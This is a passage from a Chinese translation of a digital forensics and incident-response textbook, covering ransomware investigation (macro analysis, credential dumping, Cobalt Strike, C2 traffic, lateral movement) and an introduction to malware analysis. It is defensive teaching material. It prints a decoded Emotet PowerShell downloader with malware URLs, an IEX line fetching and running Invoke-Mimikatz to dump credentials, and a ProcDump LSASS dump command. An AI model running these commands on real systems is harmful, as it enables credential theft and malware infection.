防止 勒索软件:
www.packtpub.com/product/preventing-ransomware/9781788620604 -
勒索软件事件响应技巧 攻击:
www.packtpub.com/product/incident-response-techniques-for-ransomware-attacks/9781803240442
第十五章:勒索软件调查
即使在应急响应中只花费短短的时间,你也很可能会参与勒索软件调查。如我们在前一章中所见,这类攻击的威胁范围广泛,影响各类组织,包括政府实体、大型企业、医疗保健和关键基础设施。鉴于勒索软件攻击的性质,分析人员和响应人员应熟悉如何调查勒索软件的常见战术和技术。
在本章中,我们将查看一些常见的战术和相关证据。具体来说,我们将检查以下内容:
-
勒索软件初始访问和执行
-
发现凭证访问和窃取
-
调查后期利用框架
-
命令与控制
-
调查横向移动技术
勒索软件初始访问和执行
勒索软件攻击的第一阶段是最初访问目标环境并执行第一阶段的恶意软件。这为威胁行为者提供了进行其余攻击所需的初步立足点。了解如何实现这个初步立足点,可以帮助分析人员提取与此攻击阶段相关的 IOC(指标),旨在确定攻击的范围和潜在来源。
初始访问
勒索软件威胁行为者用来获得初步立足点的主要方法是使用矛式钓鱼附件攻击 [T1566.001]。在许多情况下,这涉及到使用 Microsoft Word 或 Excel 表格,其中包含可以执行虚拟基本应用程序(VBA)的宏。这个宏通常是多阶段攻击的第一阶段,用户在不知情的情况下执行该宏,宏随后连接到攻击者的基础设施,以下载其他恶意软件,如远程访问木马(RAT)或与后期利用框架(如 Cobalt Strike)相关的工具。
在这种情况下,我们将查看一个从 Microsoft Word 文档执行并调用 Emotet 实例的宏。该文档的样本可以在app.any.run/tasks/c9ba8b96-5f45-4cb5-8b3d-8dc16910b930/#找到。与任何可能的恶意代码一样,以下过程是在正确配置的恶意软件沙箱中执行的。
在我们开始这个过程之前,了解目标用户或用户看到的内容是很重要的。在这种情况下,如果他们点击电子邮件中的 Word 附件,以下内容将会显示:
图 15.1 – Microsoft Word 文档 – 启用内容
通过点击OleDump.py。该工具由 Didier Stevens 开发,可用于分析对象链接与嵌入(OLE)或复合文档。该工具可以在blog.didierstevens.com/programs/oledump-py/找到。同时,工具也提供了一份便捷的备忘单,可以通过sansorg.egnyte.com/dl/3ydBhha67l下载。
OLE 背景
OLE 是 Microsoft 文档的一项功能,用于包含额外的数据类型或组件。它为用户提供了附加功能,但也创造了一个可以被威胁行为者利用的工具。Microsoft 在docs.microsoft.com/en-us/cpp/mfc/ole-background?view=msvc-170提供了 OLE 的概述,值得一读。
首先,指向可疑文件的Oledump.py,可以使用以下命令下载:
C:\Users\PROD-SANDBOX\Downloads\Oledump>oledump.py DETAILS-RL1609.doc
这将产生以下输出:
图 15.2 – Oledump.py 输出
在Oledump.py输出中,三行显示了宏的存在。第 16 行有一个小写的m,表示定义了一个宏模块,但该行没有关联的代码。其余两行的大写M表示宏代码的存在。在这种情况下,我们可以将该宏代码转储到一个输出中,然后使用像Oledump.py这样的工具进行分析。要从第 17 行提取 VBA 代码,可以使用以下命令:
C:\Users\PROD-SANDBOX\Downloads\Oledump>oledump.py -s 17 -v DETAILS-RL1609.doc > macro17
-s参数表示 Oledump 应该从第 17 行转储字符串。VBA 代码将被压缩。-v参数用于解压输出。这个过程应该使用相同的命令重复执行,以处理第 18 行:
C:\Users\PROD-SANDBOX\Downloads\Oledump>oledump.py -s 18 -v DETAILS-RL1609.doc > macro18
从这里开始,我们将首先分析第 18 行的输出。第 9 行,在图 17.3中,展示了触发宏操作的原因——在这种情况下,当文档被打开时会触发。第 10 行显示了入口点,并使用Tbcepkcgnhpwx方法:
图 15.3 – Oledump.py 宏识别
打开宏 17 的输出,我们可以看到大量代码。使用在宏 18 中找到的入口点,我们可以使用Tbcepkcgnhpwx()函数在第 79 行揭示出几个字符实例,如下所示:
图 15.4 – 宏混淆
在 macro17 的第 80 行之后似乎是混淆的代码。这是恶意脚本的典型做法,因为它是一种绕过检测控制的方法。这段混淆代码呈现了下一组可用的字符。在这个例子中,//====dsfnnJJJsm388//= 这一系列字符似乎是用来混淆代码的令牌。可以使用该令牌来混淆部分脚本。利用查找工具,查找所有该令牌的实例。然后将它们替换为空白,接下来第 80 行会显示如下内容:
图 15.5 – 宏代码明文
此时,我们已经能够清晰地看到 VBA 脚本,并可以开始静态分析的过程。缺点是我们仍然没有任何具体的 IOCs 可以利用。在此阶段,我们需要回到最开始的地方,识别在 图 17.2 中 OleDump.py 的任何特定行。在此例中,第 14 行显示了更多的数据。再次使用 Oledump.py,我们希望通过以下命令导出该行的内容:
C:\Users\PROD-SANDBOX\Downloads\Oledump>oledump.py -s 14 -d DETAILS-RL1609.doc > macro14
在前面的命令中,我们不需要担心压缩,但需要使用 -d 参数,以便将整行内容输出到 macro14 文件中。此文件可以通过 Visual Studio Code 或简单的文本编辑器(如 Notepad++)打开,如下图所示:
图 15.6 – 宏文件文本输出
在之前的截图中,我们可以看到之前已识别出的相同令牌 //====dsfnnJJJsm388//=,以及其他代码。稍后输出中,我们可以看到相同的模式:
图 15.7 – 宏代码混淆
从这里,我们可以重复类似的过程,使用查找工具移除令牌字符并将其替换为空白。我们剩下的是经过 Base64 编码的数据,如下所示:
图 15.8 – Base64 编码命令
为了提取与宏相关的 IOCs,我们可以复制 Base64 字符并使用任何能够解码 Base64 的工具进行解码。在本例中,我们将使用开源工具 CyberChef。这个工具由英国的 GHCQ 创建,允许分析人员使用“配方”或一系列命令来分割和处理数据。CyberChef 可以通过网页访问,网址为 gchq.github.io/CyberChef/,或者下载到本地计算机。如果你使用的是隔离的沙箱环境,下载到本地机器通常是一个不错的选择。该工具由四个主要部分组成,如下图所示:
图 15.9 – CyberChef 界面
这些部分的第一个是操作。这些是可以运行的特定命令。操作被拖动到配方部分,并对输入进行处理。点击**BAKE!**按钮运行配方。CyberChef 还允许分析人员保存配方或使用社区提供的配方,例如在 GitHub 上的github.com/mattnotmax/cyberchef-recipes。
在本案例中,我们将使用两个操作来解码编码的文本并提取 IOC(指标)。在此,我们将使用从 Base64和解码文本操作。只需点击特定操作并将其拖动到配方部分:
图 15.10 – CyberChef – 配方
配方设置好后,点击BAKE!,以下结果应该会显示出来:
图 15.11 – CyberChef 解码
输出看起来是命令和 URL 的组合:
$Kqldfmbvr='Xidvorbkkcgta';$Fymbhyexmh = '593';$Nnrgqikkfqy='Bjspcpsecqf';$Osxjsuvbbxzc=$env:userprofile
+'\'+$Fymbhyexmh+'.exe';$Qeewlohvnhzjg='Tqytjxitodxzf';$Pvqkrn
oao=&('new-ob'+'jec'+'t') nET.WebcLIEnt;$Fkmngitga='http://oni
ongames.jp/contact/iY/*http://pmthome.com/posta/dr3zxa/*http:
//urgeventa.es/img/k35d9q/*https://solmec.com.ar/sitio/nTXZomKCx/*https://tiagocambara.com/cgi-bin/s96/'."SpL`IT"
('*');$Xmvtsffjfj='Nbsfvavkmslb';foreach($Qtykmgpyyczy in $Fkmngitga){try{$Pvqkrnoao."d`OWnloa`DfIlE"($Qtykmgpyyczy, $Osxjsuvbbxzc);$Lqsnocick='Mwrnhskzeus';If ((&('Ge'+'t'+'-Item') $Osxjsuvbbxzc)."l`eNg`Th" -ge 36952) {[Diagnostics.rocess]::"S`TARt"($Osxjsuvbbxzc);$Zjcyebtu='Pqrvhklqerie';
break;$Fzbbuntuulpsg='Musmxxqbo'}}catch{}}$Jbrhtvgftfzs=
'Bvvggpdikswqr'
从这里,我们提取了几个 URL。例如,URL pmthome.com 已被确定为托管恶意软件,如 VirusTotal 的以下屏幕截图所示:
图 15.12 – VirusTotal 分析
启用宏的文档通常是事件链中的第一步,其中受害者用户执行宏,从而执行一个脚本,该脚本会访问某个 URL 并下载二级有效载荷以供执行。这个二级有效载荷通常是一个重新利用的银行木马,用于获取远程访问权限,以便可以在系统上部署更多工具。
执行
紧接着前面的讨论关于初始访问,我们现在来看看威胁行为者如何执行通过之前我们检查过的脚本加载的有效载荷。恶意软件的执行方式有多种。通过简要检查 MITRE ATT&CK 框架中的执行战术可以证明这一点。由此可以得出老话一句;“恶意软件可以隐藏,但它必须执行。” 基于这个观点,我们将探讨如何利用 Velociraptor 和一些证据来源来查找恶意代码的执行情况。
首先,我们将查看执行技术系统二进制代理执行:Rundll32 [T1218.011]。在这个技术中,威胁行为者使用合法的 Microsoft Windows 二进制文件来执行恶意操作。威胁行为者使用 Rundll32 有多种原因。这可能是为了绕过访问控制,滥用合法的系统 DLL 文件进行恶意操作,或者将合法的 DLL 文件作为整体攻击的一部分进行移动。在本示例中,我们将检查威胁行为者如何使用 Rundll32 来执行其自有的恶意 DLL 文件。
从上一节中,我们看到威胁行为者如何使用嵌入在 Microsoft Word 文档中的 VBA 脚本,该脚本执行时会连接到外部服务器并下载文件。在这种情况下,我们将从相同的过程开始,下载一个 DLL 文件形式的 Emotet 二进制文件。(活跃的 Emotet 二进制文件可以在 bazaar.abuse.ch/browse.php?search=sha256%3Acd13a9a774197bf84bd25a30f4cd51dbc4908138e2e008c81fc1feef881c6da7 找到。)
恶意 DLL 文件的一个可能位置是在登录用户的 AppData 目录中。这通常是由于文件通过宏下载的。在这种情况下,我们将在受害者系统上的该位置执行 Emotet 二进制文件。威胁行为者可以通过以下命令远程执行此操作:
C:\Windows\system32>rundll32.exe C:\Users\PROD-SANDBOX\AppData
\Local\Temp\sample.dll,#1
在前面的命令中,sample.dll 文件通过 Rundll32 使用序号 #1 执行。从这里,DLL 文件执行,并且恶意软件开始运行。
回到那句引述“恶意软件可以隐藏,但必须运行”,有几个位置可以找到执行证据。在这种情况下,我们将使用 Velociraptor 和 Windows.Analysis.EvidenceOfExecution 证据收集。在 Velociraptor 中,点击加号(+)图标:
图 15.13 – Velociraptor 证据收集
搜索 evidence execution 并选择Windows.Analysis.EvidenceOfExecution:
图 15.14 – Velociraptor – 选择要收集的工件
该证据收集利用了多个不同来源来展示执行证据。查看参数后,点击启动。收集完成后,选择下载结果,然后选择准备收集报告。报告将显示在可用下载部分:
图 15.15 – 结果
从这里,点击报告。这将下载一个包含证据收集输出的 HTML 文件。在报告的预取视图中,我们可以看到 Rundll32 于 20220908T15:50:14Z 执行:
图 15.16 – RunDll32 预取项
滚动查看其他结果,我们可以看到除了看起来是从 System32 目录中执行的合法 DLL 文件外,还有一个从 TEMP 目录中执行的条目:
图 15.17 – RunDLL32 预取项详细信息
审查 RunDLL32 和相关 DLL 的执行是寻找恶意软件执行证据的一个好方法。鉴于当前的位置,分析师可以随后检索该文件并将其发送进行恶意软件分析。
建立初始立足点的过程可能是脚本文件执行与人工交互的组合。接下来,我们将讨论凭据访问或窃取,在这一过程中,攻击者试图获取合法的凭据,以便执行攻击的其余部分。
发现凭据访问与窃取
勒索软件攻击者常常利用的一个关键漏洞是 Windows 操作系统在内存中管理凭据的方式。凭据及其关联的密码哈希由本地安全授权子系统服务(LSASS)管理。这个在内存中运行的进程包含了已登录或当前登录系统的用户账户凭据。此外,Kerberos 认证票据也可以存储在此进程的地址空间中。由于它在管理凭据方面的作用,LSASS 成为勒索软件攻击者的高价值目标。
MITRE ATT&CK 框架包含了完整的**凭据访问 [TA0006]**技术列表。在这种情况下,我们将讨论两种常见的操作系统凭据转储技术,攻击者通过访问运行内存中的 LSASS 进程 [T1003.001],以及在勒索软件攻击中非常常见的相关工具。在这两种情况下,所描述的工具和技术涉及常用的工具,并且可以轻松执行。
ProcDump
其中一种技术是使用 Microsoft Windows Sysinternals 工具 ProcDump。在这种情况下,攻击者要么使用该工具的本地副本,要么将其传输到受害者系统中执行。接下来,使用命令行对 LSASS 进程执行 ProcDump,如下所示:
C:\Users\Jsmith\Desktop>procdump.exe -ma lsass.exe dump.dmp
在这里,攻击者可以传输转储文件并提取密码哈希以进行破解。
如果没有专门监控此活动的控制措施(如 EDR 工具或 SIEM),通常很难检测到这种活动。从检测控制的角度来看,这种活动是合法的,并且系统管理员会使用它。由于勒索软件攻击者经常使用这种类型的活动,安全实践建议删除 ProcDump 或任何可以转储 LSASS 进程的工具,或者检测并验证任何使用行为是否为合法。
查找 ProcDump 使用证据的最佳位置是在应用程序执行中,我们在上一节中讨论过。显示 ProcDump 执行的预取文件可以帮助我们找到执行的时间和位置。另一个选项是对于启用了 Sysmon 日志记录的组织,可以查找 类型 1:进程创建 记录,如下所示:
图 15.18 – ProcDump Sysmon 记录
在日志条目中,以下是判断是否访问了凭据的关键数据点:
ParentCommandLine: C:\AtomicRedTeam\Atomics\T1003.001\procdump.exe -accepteula -ma lsass.exe C:\Windows\Temp\lsass_dump.dmp
在输出中,我们可以看到威胁行为者对 LSASS 进程执行了 ProcDump,并将输出文件放置在C:\Windows\Temp目录中,准备后续窃取。这是增强系统日志记录和检测 ProcDump 使用的一个很好的应用场景。
Mimikatz
在第十四章中,我们研究了工具 Mimikatz。Mimikatz 是威胁行为者的另一个常用工具,因为它易于使用,并且已经集成在各种后期利用框架中。当集成到如 Cobalt Strike 或 PowerSploit 等工具中时,该工具可以在内存中运行,而不需要将任何文件写入磁盘。这使得寻找痕迹证据变得困难,但并非不可能。
例如,GitHub 上可用的利用工具 PowerSploit(网址:github.com/PowerShellMafia/PowerSploit)有一个名为 Invoke-Mimikatz 的模块。虽然该工具避免了将二进制文件写入磁盘并执行,但 PowerShell 日志中仍有痕迹,特别是事件 403,能够显示命令执行情况,如下图所示:
图 15.19 – Mimikatz PowerSploit 条目
日志条目中包含以下关键数据点:
HostApplication=powershell.exe & {IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds}
这为分析师提供了凭证哈希已被访问的确凿证据。在发现使用 Mimikatz 或 ProcDump 的情况下,最佳实践是认为该系统上的凭证或 Kerberos 认证机制已经被攻破。因此,建议按照第十六章中讨论的内容,进行密码重置。
理解凭证访问和窃取不仅对调查非常重要,还对于从此类攻击中恢复也至关重要。揭示这些工具的使用情况以及潜在的被盗凭证,能够为决策者提供必要的数据,以便做出是否重置或禁用用户和管理员密码的决策。
调查后期利用框架
分析师遇到的主要后期利用框架是 Cobalt Strike。还有其他框架,如 PowerSploit 或 Meterpreter,这些框架通常可用,即使是最初级的威胁行为者也可以使用。一个主要机制是这些利用框架利用编码的 PowerShell 脚本,建立一个反向连接回威胁行为者的指挥与控制基础设施。
从对手的角度来看,这种方法有几个好处。首先,脚本可以加载到多个位置,从而在重启后依然能够存活。例如,MITRE ATT&CK 技术 HKLM\Software\Microsoft\Windows\CurrentVersion\Run 注册表键。
第二个好处是,恶意 PowerShell 脚本可以通过使用 Windows 操作系统工具(如 Windows 管理工具)远程执行,这些工具能够远程执行恶意脚本。Cobalt Strike 将此功能作为其特点之一。
最后,恶意脚本通常可以直接在内存中运行,而不需要将文件放到系统中,这样可以增加脚本被检测到的机会。通过远程执行并在内存中运行脚本可以绕过一些杀毒控制。
在查找使用 Cobalt Strike 等工具和恶意脚本的证据时,最好的位置是 Windows PowerShell 事件日志。查找事件 ID 为 400 的远程脚本执行,或事件 ID 为 600 的 PowerShell 使用。另一个来源是 Windows PowerShell 操作事件日志,事件 ID 为 4104。以下截图显示了此类日志的内容:
图 15.20 – Cobalt Strike PowerShell 事件日志条目
关于恶意脚本,通常有两个关键点需要注意。第一个是 Base64 编码,如前面的截图所示。此外,像Powershell -nop - w hidden -noni -e和powershell.exe -EncodedCommand这样的命令通常是红旗警告,可以作为在进行日志分析时的搜索关键字。
要从这些脚本中提取 IOC,我们可以使用之前解码宏中 Base64 数据时使用的 CyberChef 工具。在这种情况下,我们将解码一个常见的 Cobalt Strike 脚本,该脚本会在目标系统上安装一个信标:
- 第一步是简单地从事件日志、计划任务或注册表中复制 Base64 字符。一种好的技巧是将其复制到文本编辑器中,以防万一发生小错误,这样你可以随时返回到干净的输出:
图 15.21 – Cobalt Strike Base64 编码脚本
- 接下来,我们将把编码数据放入 CyberChef 的输入字段,并使用从 Base64操作:
图 15.22 – 第一次 Base64 解码
- 你会经常注意到,在编码后的 PowerShell 脚本中,嵌入了另一组 Base64 编码的字符。只需重复解码新编码字符的过程:
图 15.23 – 第二次 Base64 解码
-
同样,前面会有一组新的 Base64 编码字符:
[Byte[]]$var_code = [System.Convert]::FromBase64String
在编码字符后,出现了以下字符串:
for ($x = 0; $x -lt $var_code.Count; $x++) {
$var_code[$x] = $var_code[$x] -bxor 35
- 前面的字符串表明,前面的字符不仅被编码过,还经过了 XOR 函数的处理。在这种情况下,复制编码后的命令并将其放入输入框。这里,我们将使用相同的From Base64操作,但这次,我们将添加另一个操作来处理 XOR 函数,如下截图所示:
图 15.24 – Base64 XOR 配方
- 这将产生以下 shellcode 输出:
图 15.25 – Shellcode 输出
对 shellcode 的分析揭示了几个关键数据点。第一个也是最明显的就是 IP 地址 47.242.164.33。还有其他数据点,例如 User-Agent 字符串。现在我们已经获得了这个 shellcode 和相关的 IOC,我们可以在这里停止,但使用开源的 shellcode 分析工具 scdbg 进行独立评估可能也很重要,该工具可以在 sandsprite.com/blogs/index.php?uid=7&pid=152 下载。
首先,使用位于 .dat 文件中的保存图标。接着,下载 scdbg 并将文件解压到目标位置。最后,运行以下命令对下载的 shellcode 进行分析:
C:\Users\PROD-SANDBOX\Downloads\scdbg.exe -f download.dat
这将生成以下输出:
图 15.26 – Shellcode 分析
输出显示已经与 IP 地址 47.242.164.33 建立了连接,并使用目标端口 8083。结合我们之前观察到的用户代理字符串,Cobalt Strike 信标正在尝试与其他互联网流量融合,以混淆 C2 流量。
定位、提取和分析后渗透脚本或信标至关重要,因为它通常揭示了威胁行为者正在使用的 C2 基础设施。这对于理解威胁行为者如何维持对系统的控制也很关键,并为适当的根除和恢复提供数据。
命令与控制
在这种情况下,我们将查看与后渗透工具 Cobalt Strike 相关的流量。这是勒索软件威胁行为者常用的工具。我们将检查一个完整的数据包捕获,以揭示与攻击者基础设施相关的先前未识别的 IOC。在本次审查中,我们将查看与使用 Squirrelwaffle 加载器和 Qakbot RAT 进行的攻击相关的数据包捕获,并最终讲解如何安装 Cobalt Strike,该工具可通过 www.malware-traffic-analysis.net/2021/09/22/index.html 获取。
安全洋葱
我们之前简要介绍过的一个工具是 Security Onion。这个开源入侵检测系统可以帮助识别潜在的指挥与控制流量。在这个案例中,数据包捕获是根据现有规则集运行的,Security Onion 指示了多个命中的事件。其中一个值得注意的是 ET MALWARE 观察到的 Qbot 风格 SSL 证书:
图 15.27 – Cobalt Strike 安全洋葱检测
这个警报表明 SSL 证书与之前在 Qbot 恶意软件相关联时观察到的证书匹配。进一步检查与恶意流量相关的 IP 地址,发现有 27 个连接使用了非标准的 HTTP 端口:
图 15.28 – 安全洋葱警报网络连接
像 Security Onion 这样的 IDS 工具可以迅速将注意力集中到关键指标上。即使没有这些工具,一些工具仍然可以为我们提供值得关注的数据点,特别是那些与 C2 流量相关的数据。
RITA
分析师通常很少会拥有整个攻击链的完整数据包捕获,但通过审查数据包捕获,可以让我们通过查看网络流量数据的具体元素来洞察如何识别潜在的指挥与控制流量。首先,我们可以使用在 第九章 中介绍的 RITA 工具:
-
首先,我们需要使用 Zeek 处理数据包捕获:
dfir@ubuntu:~/rita$ zeek -C -r Squirrelwaffle_Qakbot.pcap -
接下来,将 Zeek 输出导入到 RITA:
dfir@ubuntu:~/rita$ rita import *.log Squirrelwaffle_Qakbot
参考截图如下:
图 15.29 – 数据包捕获 Zeek 导入
-
处理 PCAP 显示信标并将其输出到 CSV 文件进行分析:
dfir@ubuntu:~/rita$ rita show-beacons Squirrelwaffle_Qakbot > Beacons.csv
RITA 分析的结果显示了许多与 Security Onion 分析中看到的相同的 IP 地址:
图 15.30 – RITA 信标 IP 地址
这使得分析人员可以在完整的数据包捕获中专注于特定的 IP 地址,并使用像 Arkime 这样的工具进行更详细的分析。
Arkime
现在,我们已经识别出一些潜在的指挥与控制 IOC(指标),可以转向一个能为我们提供更多流量洞察的工具。虽然 Wireshark 是一个选择,但在这种情况下,Arkime 可能是更好的选择,因为它提供了那种流量样式的视图,更容易查看。让我们为 IP 地址 108.62.141.222 运行以下查询:
Ip.dst == 108.62.141.222
这提供了一些关键的细节,值得关注。首先,这个流量的目标端口是 8888,它本身不是恶意的,但也不是 HTTPS 流量的标准端口。其次,存在一个一致的字节交换,且有两个尖峰。第一个出现在流量的开始,然后稍后又出现另一个。如果我们深入查看其中一个数据包,将会发现流量是加密的:
图 15.31 – Arkime 中的 Cobalt Strike 连接
如果我们深入分析其中一个数据流,我们会发现数据是加密的。分析人员通常无法看到的一个领域是 C2 通道的实际活动:
图 15.32 – TCP 流
最后,借助威胁情报,分析人员可以将 IP 地址输入到如 AlienVault 的 OTX 这样的来源中,这样就能揭示出 IP 地址108.62.141.222与使用 Cobalt Strike 的基础设施相关联:
图 15.33 – AlienVault OTX 威胁情报
在某些情况下,组织遭受攻击的第一个迹象是 IDS 和 IPS 系统等工具对可疑连接进行了报警。其他时候,命令与控制流量保持未被检测的状态。确定对手如何保持控制对于确保在清除和恢复过程中移除该控制至关重要。
调查横向移动技术
在调查横向移动技术时,主要使用的技术是远程服务利用 [T1210]。在此技术中,威胁行为者利用已被泄露的凭证和现有的远程访问工具,如 SMB 和 RDP,访问同一网络中的其他系统。像 EternalBlue 这样的漏洞被威胁行为者广泛利用,例如 NotPetya 以及恶意软件变种如 Trickbot。
确定横向移动的主要数据来源应该是 NetFlow。正如我们在第九章中所看到的,通过审查 NetFlow,通常可以揭示通过一个或几个机器与网络其他部分在短时间内进行多次连接时使用了 SMB 或 RDP。例如,进行远程维护的系统管理员会通过 RDP 连接到一台服务器,并在 10 到 15 分钟内完成一些维护任务,然后再转到另一台系统。如果看到非管理员系统发起 RDP 连接,更不用说在几分钟内发起数十次连接,那就非常可疑了。
如果 NetFlow 不可用,Windows 事件日志可以提供一些关键细节,说明威胁行为者是如何访问远程镜像的。首先要查看的是 Windows 安全事件日志 4624,它表示用户或管理员已成功登录。在这种情况下,我们关注的是两种类型的登录:SMB 或远程共享登录和远程桌面登录。
在远程共享或 SMB 登录中,威胁行为者通常会使用一种后渗透框架,该框架可以使用 SMB 向另一个系统进行跳转。在威胁行为者连接到的远程系统上,Windows 事件日志中会记录一个事件 ID 4624 类型 3 的条目,如下所示:
图 15.34 – SMB 登录事件日志条目
如日志条目所示,系统 DEKSTOP-9SK5KPF 使用 Atomic Red Team 帐户登录。进一步深入分析条目,我们可以看到与 LAPTOP-CHL1KGT5 系统关联的 IP 地址 192.168.0.22,表明这是发起连接的机器:
图 15.35 – SMB 登录条目详细信息
Windows 事件日志中我们可以看到的另一种登录类型是 RDP 连接。相同的事件 ID,4624,用于 RDP 连接,但是对于 RDP 连接,有两种登录类型。第一种是类型 10。这表明向系统建立了新的 RDP 连接。类型 7 表示远程机器正在重新连接前一个会话或者上次建立会话时未正确注销:
图 15.36 – RDP 登录条目
再次查看记录,日志提供了与类型 7 事件相同的信息:
图 15.37 – RDP 登录条目详细信息
对大规模事件进行这种类型的分析并不适用,因此最好的方法是使用 SIEM 或其他平台,如 Skadi。在这种情况下,我们仍然可以获取相同的数据,如下所示:
[4624 / 0x1210] Source Name: Microsoft-Windows-Security-Auditing Strings: ['S-1-5-18', 'DESKTOP-9SK5KPF$', 'WORKGROUP', '0x00000000000003e7', 'S-1-5-21-3785962752-1303019572-1054719619-1001', 'Atomic Red Team', 'DESKTOP-9SK5KPF', '0x00000000087e1208', '7', 'User32 ', 'Negotiate', 'DESKTOP-9SK5KPF', '{00000000-0000-0000-0000-000000000000}', '-', '-', '0', '0x0000000000000520', 'C:\Windows\System32\svchost.exe', '192.168.0.22', '0', '%%1833', '-', '-', '-', '%%1843', '0x00000000087e11e6', '%%1843'] Computer Name: DESKTOP-9SK5KPF Record Number: 99549 Event Level: 0
通过这一步骤,我们已经总结了如何调查横向移动技术。
总结
不幸的现实是勒索软件已经来临。从中得到的教训是,响应者和分析师需要能够识别、提取和分析与这些类型攻击相关的证据。在本章中,我们学习了如何检查常见的初始感染向量,如何确定凭证的窃取,如何检测横向移动,以及如何识别威胁行动者的命令和控制。这是一个坚实的起点,通过持续审查和整合威胁情报来了解威胁行动者的操作方式是至关重要的。
在下一章中,我们将讨论如何将我们在前几章中讨论过的工具和技术应用于威胁狩猎的积极实践。
问题
回答以下问题以测试您对本章的知识掌握:
-
以下哪个不是后渗透框架?
-
Cobalt Strike
-
Metasploit
-
ProcDump
-
PowerSploit
-
-
Windows 操作系统的凭证存储在哪个进程中?
-
LSASS
-
服务
-
Netstat
-
credsman
-
-
在 Prefetch 文件中可以观察到 Rundll32 的使用。
-
真实
-
错误
-
-
哪种类型的 Windows 安全事件日志表明远程桌面连接?
-
事件 ID 4625 类型 3
-
事件 ID 4625 类型 10
-
事件 ID 4624 类型 3
-
事件 ID 4264 类型 10
-
进一步阅读
关于本章涵盖的主题的更多详细信息,请参考以下内容:
-
Cobalt Strike PowerShell 分析:
michaelkoczwara.medium.com/cobalt-strike-powershell-payload-analysis-eecf74b3c2f7 -
去混淆 PowerShell:
medium.com/mii-cybersec/malicious-powershell-deobfuscation-using-cyberchef-dfb9faff29f
第五部分:威胁情报与狩猎
为了补充本书的前三部分,第五部分深入探讨了与事件响应和数字取证相关的多个专业方面,这些方面直接影响事件调查的成功。这些主题包括恶意代码分析、威胁情报的整合,以及如何将各种数字取证技术融入威胁狩猎的实践中。
本部分包含以下章节:
-
第十六章*,恶意软件分析与事件响应*
-
第十七章*,利用威胁情报*
-
第十八章*,威胁狩猎*
第十六章:事件响应中的恶意软件分析
恶意软件继续成为企业和消费者系统不断演变的灾难。每当防御措施被创建,恶意软件编程人员就会创造出新的变种,能够腐蚀或摧毁系统。恶意软件甚至被用作针对国家和全球组织的武器。大多数数据泄露事件都涉及使用恶意软件来实现某种目标。各行各业的组织都面临着恶意软件的威胁。随着勒索软件攻击(如 Conti 和 Ryuk)的出现,组织不得不迅速行动,解决这些攻击。
由于恶意软件始终存在风险,事件响应分析人员必须了解一些用于恶意代码分析的方法和工具。在一章内容中无法全面解决恶意软件分析的复杂性。因此,本章将重点介绍恶意软件分析的基础要素,并探讨一些常用的工具。这将为任何分析人员提供扎实的理解,使他们能够在事件的背景下理解分析结果。
在本章关于恶意软件分析的讨论中,将涉及以下主题:
-
恶意软件分析概述
-
设置恶意软件沙箱
-
静态分析
-
动态分析
-
ClamAV
-
YARA
恶意软件分析概述
恶意软件分析,或称恶意软件逆向工程,是数字取证领域中的一个高度技术化和专业化的领域。病毒防护和威胁情报依赖于一支训练有素的程序员和取证人员团队,他们从外部获取恶意软件,并对其进行解剖,以确定其功能、运行方式以及可能的责任方。这是通过两种类型的分析方法进行的:静态分析和动态分析。与大多数数字取证工作一样,每种分析方法都有其优势,事件响应分析人员应该熟悉这两种方法。
恶意软件分析
本章仅仅触及了网络安全领域中一个高度专业化的方面。目的是给出一些例子,说明分析人员如何从与事件相关的恶意软件中提取可操作的 IOC(指标)。如果需要更详细的内容,请查阅Monnappa K A 的《学习恶意软件分析》,可在www.packtpub.com/product/learning-malware-analysis/9781788392501找到。
一位名叫 Lenny Zeltser 的恶意软件分析专家创建了一种优秀的恶意软件分析方法学,他的网站上有丰富的资源,地址是Zeltser.com。该方法学包括以下七个步骤,帮助分析人员进行分析:
-
创建一个受控的实验室环境,以便进行分析。
-
检查可疑恶意软件与操作系统(OS)环境的交互行为。
-
检查可疑应用程序的代码,以了解其内部工作原理。
-
执行动态分析,确定在静态分析中无法识别的操作。
-
确定恶意软件是否被打包,并在必要时解包。
-
继续进行分析,直到分析目标完成。
-
准备一份补充报告,归还实验室到分析前的状态。
通常,恶意软件分析可以分为四个独立的类别,如图 16.1所示,这是基于 SANS 讲师 Allissa Torres 创建的类似图表。这四个类别在工具、技术和难度上有所不同。执行的第一个且最简单的技术是完全自动化分析。在这种情况下,恶意软件的副本在恶意软件沙箱中执行,沙箱是为执行恶意软件而创建的环境,可以在相对较短的时间内了解其行为。这可以很好地展示恶意软件的行为和 IOC(指示器)。然而,这种方法没有提供详细的代码分析,代码分析可能会揭示其他细节,例如潜在的被利用的漏洞或它可能瞄准的特定软件:
图 16.1 – 恶意软件分析类别
下一个技术是静态属性分析。在这种技术中,使用工具来确定文件哈希、头部、字符串、文件属性和与恶意代码相关的其他元数据。这种技术也非常快速,但需要一定的恶意软件知识来分析和解释结果。通常,如果文件通过自动化沙箱运行并同时分析静态属性,就足以深入了解恶意软件的行为并提取与事件相关的 IOC。
接下来的两个分析阶段需要更多的专业知识、工具和时间。第三阶段是互动行为分析,它涉及使用自动化工具和静态属性分析相结合的方式,检查恶意软件的特定元素。例如,样本可能在沙箱中执行,并控制特定的网络行为,以确定恶意软件是否尝试与外部主机连接以下载二级有效负载。这个阶段给予分析人员更多的沙箱环境控制,他们可以根据观察情况更改参数。在这种情况下,分析人员可以控制沙箱的网络连接,并确定特定流量的样子。
最终阶段是手动代码逆向。正如你所预料的,这一阶段因其时间和难度,要求具备高度专业的技能。在这一阶段,恶意软件样本将经过逆向工程处理。尽管这需要时间和技能,但这一见解对于全面理解代码至关重要。例如,Stuxnet 恶意软件经过了广泛的逆向工程,分析师能够确定了被攻击的可编程逻辑控制器(PLC)。没有这一洞察,恶意软件的真正意图可能就无法被发现。
Stuxnet 恶意软件分析
即使 Stuxnet 病毒被发现已有十年,它仍然在网络安全和网络战争领域广泛讨论。值得深入研究金·泽特尔(Kim Zetter)在其著作《倒计时至零日:Stuxnet 与全球首个数字武器的发布》中的研究,以及 2016 年纪录片《零日》。这两者都深入探讨了恶意软件逆向工程在揭示 Stuxnet 中的重要作用。赛门铁克对 Stuxnet 病毒的分析副本已作为补充材料随书提供。值得查看,因为它真实地展示了进行全面分析所需的专业知识和时间。
